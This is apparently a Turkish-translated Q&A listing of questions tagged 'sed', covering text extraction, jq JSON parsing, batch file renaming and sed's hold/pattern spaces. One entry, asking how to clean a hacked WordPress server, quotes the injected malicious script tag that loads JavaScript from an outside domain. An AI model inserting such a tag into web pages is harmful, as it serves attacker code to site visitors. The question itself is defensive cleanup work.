«sed» etiketlenmiş sorular

Sed (Stream EDitor), POSIX ortamı için bir komut satırı düzenleyicisidir. Sed, bir veya daha fazla dosyayı düzenleme komut dosyasına göre işler ve sonuçları standart çıktıya yazar. Bell Laboratuarlarında yaratılan bu albüm 70'lerin ortalarından beri var.

8
Grep, regex veya perl ile bir kalıbı takip eden dizge nasıl çıkarılır
Şuna benzeyen bir dosyam var: <table name="content_analyzer" primary-key="id"> <type="global" /> </table> <table name="content_analyzer2" primary-key="id"> <type="global" /> </table> <table name="content_analyzer_items" primary-key="id"> <type="global" /> </table> Aşağıdaki alıntılardan herhangi bir şey çıkarmam gerekiyor name=, yani content_analyzer, content_analyzer2ve content_analyzer_items. Bunu bir Linux kutusunda yapıyorum, bu nedenle sed, perl, grep veya bash kullanan bir çözüm …

2
JSON Dizesini ayrıştırmak için jq kullanın
jqJSON yapısını şu şekilde ayrıştırmaya çalışıyorum : { "a" : 1, "b" : 2, "c" : "{\"id\":\"9ee ...\",\"parent\":\"abc...\"}\n" } Yani, JSON'daki bir öğe, çıkış karakterli json içeren bir dizedir. Yani, şu çizgide bir şeyim var: $ jq [.c] myFile.json | jq [.id] Ama bu çöküyor jq: error: Cannot index string …
91 json  string  sed  escaping  jq 


13
Dosyaları toplu olarak yeniden adlandırmak için sed kullanma
Amaç Bu dosya adlarını değiştirin: F00001-0708-RG-biasliuyda F00001-0708-CS-akgdlaul F00001-0708-VF-hioulgigl şu dosya adlarına: F0001-0708-RG-biasliuyda F0001-0708-CS-akgdlaul F0001-0708-VF-hioulgigl Kabuk Kodu Test etmek için: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' Gerçekleştirmek: ls F00001-0708-*|sed 's/\(.\).\(.*\)/mv & \1\2/' | sh Benim sorum Sed kodunu anlamıyorum. İkame komutunun ne olduğunu anlıyorum $ sed 's/something/mv' anlamına geliyor. Ve normal ifadeleri …
89 bash  shell  sed  file-rename 


3
Sed'de 'Hold space' ve 'Pattern space' Kavramı
Sed'deki iki kavram kafamı karıştırdı: tutma alanı ve desen alanı. Biri onları açıklamaya yardım edebilir mi? İşte kılavuzun bir parçası: h H Copy/append pattern space to hold space. g G Copy/append hold space to pattern space. n N Read/append the next line of input into the pattern space. Bu altı …
87 linux  sed 


7
Sed veya muhtemelen grep kullanarak tüm dizeyi değiştirme
Böylece tüm sunucum saldırıya uğradı veya kötü amaçlı yazılım sorunu yaşadı. sitem WordPress tabanlı ve sunucumda barındırılan sitelerin çoğu WordPress tabanlı. Bilgisayar korsanı bu kod satırını her bir dosyaya ve veritabanına ekledi <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Kullanarak grep ile arama yaptım grep -r "trasnaltemyrecords" /var/www/html/{*,.*} Ben dosya yapısı boyunca yerine çalışıyorum …
10 bash  shell  sed  grep 
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.